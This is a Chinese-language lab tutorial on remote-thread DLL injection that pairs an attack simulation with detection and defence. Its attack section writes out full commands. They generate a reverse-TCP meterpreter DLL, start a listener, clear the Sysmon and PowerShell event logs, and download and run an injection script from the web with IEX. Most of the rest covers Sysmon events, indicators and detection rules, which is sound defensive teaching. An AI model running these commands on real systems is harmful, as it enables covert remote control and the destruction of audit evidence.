DLL注入的术与道:分析攻击手法与检测规则
字数 2264 2025-08-20 18:18:16

DLL注入的术与道:攻击手法与检测规则详解

1. 基本概念

1.1 什么是DLL?

DLL(Dynamic Link Library)本质上是可供其他程序使用的函数和数据的集合,可视为虚拟公共资源。Windows运行的任何程序都会不断地调用动态链接库,以访问各种常见函数和数据。

1.2 DLL注入(T1055.001)

参考ATT&CK攻击矩阵,进程注入的方法比较丰富。本次使用经典的远程线程注入方法,对应ATT&CK的T1055.001。该方法需要事先将DLL存于磁盘上,主要流程如下:

  1. 使用Windows API调用将恶意文件路径写入目标进程的虚拟地址空间
  2. 创建远程线程并执行

2. 环境构建

2.1 系统准备

  • Windows 10(victim)
  • Kali(攻击机)
  • Ubuntu 22.04.2(日志分析)

2.2 工具安装

  1. Sysmon:安装时务必指定配置文件(如Neo23x0-sysmon-config)

    • 安装后验证:Get-Service sysmon
  2. PowerShell ScriptBlock日志配置:

    Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine
    New-Item -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force
    New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force
    wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true
    
  3. 其他工具:

    • Process Hacker:实时分析
    • Wireshark:流量分析
    • Volatility:内存分析

3. 攻击模拟

3.1 生成DLL文件

在Kali上使用msfvenom生成payload:

sudo msfvenom -p windows/meterpreter/reverse_tcp Lhost=192.168.26.130 Lport=88 -f dll > /home/hacker/Desktop/evil.dll

3.2 传输DLL到目标

使用Python搭建简易HTTP服务器:

python3 -m http.server 8008

3.3 启动监听

在Kali上:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.230.155
set LPORT 88
run

3.4 执行注入

  1. 清除系统日志:

    wevtutil cl "Microsoft-Windows-Sysmon/Operational"
    wevtutil cl "Microsoft-Windows-PowerShell/Operational"
    
  2. 下载并执行PowerShell注入脚本:

    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1')
    
  3. 注入恶意DLL(以rufus.exe为例):

    Invoke-DllInjection -ProcessID 1480 -Dll C:\Users\admin\Desktop\evil.dll
    

4. 技术原理分析

4.1 DLL注入流程

  1. 搜索目标进程

    • 使用CreateToolhelp32Snapshot枚举进程
    • Process32FirstProcess32Next迭代进程列表
  2. 获取进程句柄

    OpenProcess(ProcessAccessFlags.All = 0x001F0FFF)
    
  3. 分配内存

    VirtualAllocEx(目标进程句柄, 分配大小, 内存地址, 分配类型, 访问权限)
    
  4. 写入DLL路径

    WriteProcessMemory(目标进程句柄, 内存地址, 数据, 数据大小)
    
  5. 创建远程线程

    • 使用RtlCreateUserThreadNtCreateThreadExCreateRemoteThread
    • 将线程执行地址设置为LoadLibraryA函数地址

4.2 恶意DLL分析

使用IDA Pro分析evil.dll,主要函数:

  • sub_10001000
  • sub_10001050(核心功能:进程创建与网络连接)
  • sub_100011A0
  • DllEntryPoint(导出函数)

关键行为:

  1. 初始化进程启动所需变量(StartupInfo、IpProcessInformation结构体)
  2. 创建rundll32.exe进程
  3. 调用WriteProcessMemory将数据写入目标进程内存
  4. 使用WSASocket实现联网行为

5. 检测与分析

5.1 原生工具检测

  1. 网络连接分析

    netstat -naob
    

    重点关注:

    • ESTABLISHED连接
    • rundll32.exe发起的异常网络连接
  2. 进程信息分析

    tasklist /m /fi "pid eq [PID]"
    wmic process where processid=[PID] get parentprocessid
    wmic process where processid=[PID] get Name
    wmic process where processid=[PID] get commandline
    
  3. Process Hacker分析

    • 进程树关系异常(如rufus.exe → rundll32.exe → cmd.exe)
    • 当前工作目录异常(如从桌面运行)
    • 无命令行参数运行
    • RWX内存权限
    • 内存中包含PE文件特征(MZ头)

5.2 Sysmon日志分析

关键事件ID:

  • ID 22:DNS查询(如raw.githubusercontent.com)
  • ID 3:网络连接(rundll32回连攻击机)
  • ID 13/12:注册表修改(DisableAntiSpyware)
  • ID 1:进程创建(如raserver.exe启动)

5.3 PowerShell日志分析

关键特征:

  • 事件ID 4104
  • 从Web服务器下载脚本并注入内存的命令
  • 注入恶意DLL的命令记录

5.4 流量分析

关键点:

  • DNS请求与响应
  • TLS加密交换
  • TCP流中的PE文件特征(MZ头)

6. 检测规则

6.1 基本规则

  1. rundll32.exe异常使用

    • 合法路径应为:
      C:\Windows\System32\rundll32.exe
      C:\Windows\SysWOW64\rundll32.exe
      
    • 检测非标准路径下的rundll32.exe
  2. 命令行参数异常

    • 缺少DLL路径和函数参数
    • 从异常位置(如%temp%、桌面)加载DLL
  3. 父子进程关系异常

    • 如rufus.exe → rundll32.exe → cmd.exe
    • 结合进程启动日志建立行为序列

6.2 高级规则

  1. 内存权限检测

    • 检测具有RWX权限的内存空间
    • 检测内存中的PE文件特征
  2. 网络行为检测

    • rundll32.exe的网络通信行为(正常情况下不活跃)
    • 结合源IP、目的IP进行分桶聚合分析
  3. 注册表修改检测

    • 对DisableAntiSpyware等安全相关注册表项的修改
    • HKLM和HKU下的异常修改

7. 防御建议

  1. 应用白名单:限制rundll32.exe等工具的执行
  2. 权限控制:限制普通用户对关键注册表项的修改权限
  3. 日志监控:全面启用Sysmon和PowerShell日志
  4. 行为分析:建立正常行为基线,检测异常行为模式
  5. 内存保护:启用防篡改和内存保护机制

8. 总结

DLL注入是一种常见的攻击技术,攻击者通过将恶意代码注入合法进程来绕过安全检测。防御者需要:

  1. 理解DLL注入的技术原理和实现方式
  2. 掌握多种检测方法(日志分析、内存分析、网络分析等)
  3. 建立全面的检测规则和防御体系
  4. 持续监控和更新防御策略以应对新的变种

通过深入理解攻击手法和建立有效的检测规则,可以显著提高对DLL注入攻击的检测和防御能力。

DLL注入的术与道:攻击手法与检测规则详解 1. 基本概念 1.1 什么是DLL? DLL(Dynamic Link Library)本质上是可供其他程序使用的函数和数据的集合,可视为虚拟公共资源。Windows运行的任何程序都会不断地调用动态链接库,以访问各种常见函数和数据。 1.2 DLL注入(T1055.001) 参考ATT&CK攻击矩阵,进程注入的方法比较丰富。本次使用经典的远程线程注入方法,对应ATT&CK的T1055.001。该方法需要事先将DLL存于磁盘上,主要流程如下: 使用Windows API调用将恶意文件路径写入目标进程的虚拟地址空间 创建远程线程并执行 2. 环境构建 2.1 系统准备 Windows 10(victim) Kali(攻击机) Ubuntu 22.04.2(日志分析) 2.2 工具安装 Sysmon :安装时务必指定配置文件(如Neo23x0-sysmon-config) 安装后验证: Get-Service sysmon PowerShell ScriptBlock日志 配置: 其他工具: Process Hacker:实时分析 Wireshark:流量分析 Volatility:内存分析 3. 攻击模拟 3.1 生成DLL文件 在Kali上使用msfvenom生成payload: 3.2 传输DLL到目标 使用Python搭建简易HTTP服务器: 3.3 启动监听 在Kali上: 3.4 执行注入 清除系统日志: 下载并执行PowerShell注入脚本: 注入恶意DLL(以rufus.exe为例): 4. 技术原理分析 4.1 DLL注入流程 搜索目标进程 : 使用 CreateToolhelp32Snapshot 枚举进程 Process32First 和 Process32Next 迭代进程列表 获取进程句柄 : 分配内存 : 写入DLL路径 : 创建远程线程 : 使用 RtlCreateUserThread 、 NtCreateThreadEx 或 CreateRemoteThread 将线程执行地址设置为 LoadLibraryA 函数地址 4.2 恶意DLL分析 使用IDA Pro分析evil.dll,主要函数: sub_10001000 sub_10001050 (核心功能:进程创建与网络连接) sub_100011A0 DllEntryPoint (导出函数) 关键行为: 初始化进程启动所需变量(StartupInfo、IpProcessInformation结构体) 创建rundll32.exe进程 调用 WriteProcessMemory 将数据写入目标进程内存 使用 WSASocket 实现联网行为 5. 检测与分析 5.1 原生工具检测 网络连接分析 : 重点关注: ESTABLISHED连接 rundll32.exe发起的异常网络连接 进程信息分析 : Process Hacker分析 : 进程树关系异常(如rufus.exe → rundll32.exe → cmd.exe) 当前工作目录异常(如从桌面运行) 无命令行参数运行 RWX内存权限 内存中包含PE文件特征(MZ头) 5.2 Sysmon日志分析 关键事件ID: ID 22 :DNS查询(如raw.githubusercontent.com) ID 3 :网络连接(rundll32回连攻击机) ID 13/12 :注册表修改(DisableAntiSpyware) ID 1 :进程创建(如raserver.exe启动) 5.3 PowerShell日志分析 关键特征: 事件ID 4104 从Web服务器下载脚本并注入内存的命令 注入恶意DLL的命令记录 5.4 流量分析 关键点: DNS请求与响应 TLS加密交换 TCP流中的PE文件特征(MZ头) 6. 检测规则 6.1 基本规则 rundll32.exe异常使用 : 合法路径应为: 检测非标准路径下的rundll32.exe 命令行参数异常 : 缺少DLL路径和函数参数 从异常位置(如%temp%、桌面)加载DLL 父子进程关系异常 : 如rufus.exe → rundll32.exe → cmd.exe 结合进程启动日志建立行为序列 6.2 高级规则 内存权限检测 : 检测具有RWX权限的内存空间 检测内存中的PE文件特征 网络行为检测 : rundll32.exe的网络通信行为(正常情况下不活跃) 结合源IP、目的IP进行分桶聚合分析 注册表修改检测 : 对DisableAntiSpyware等安全相关注册表项的修改 HKLM和HKU下的异常修改 7. 防御建议 应用白名单 :限制rundll32.exe等工具的执行 权限控制 :限制普通用户对关键注册表项的修改权限 日志监控 :全面启用Sysmon和PowerShell日志 行为分析 :建立正常行为基线,检测异常行为模式 内存保护 :启用防篡改和内存保护机制 8. 总结 DLL注入是一种常见的攻击技术,攻击者通过将恶意代码注入合法进程来绕过安全检测。防御者需要: 理解DLL注入的技术原理和实现方式 掌握多种检测方法(日志分析、内存分析、网络分析等) 建立全面的检测规则和防御体系 持续监控和更新防御策略以应对新的变种 通过深入理解攻击手法和建立有效的检测规则,可以显著提高对DLL注入攻击的检测和防御能力。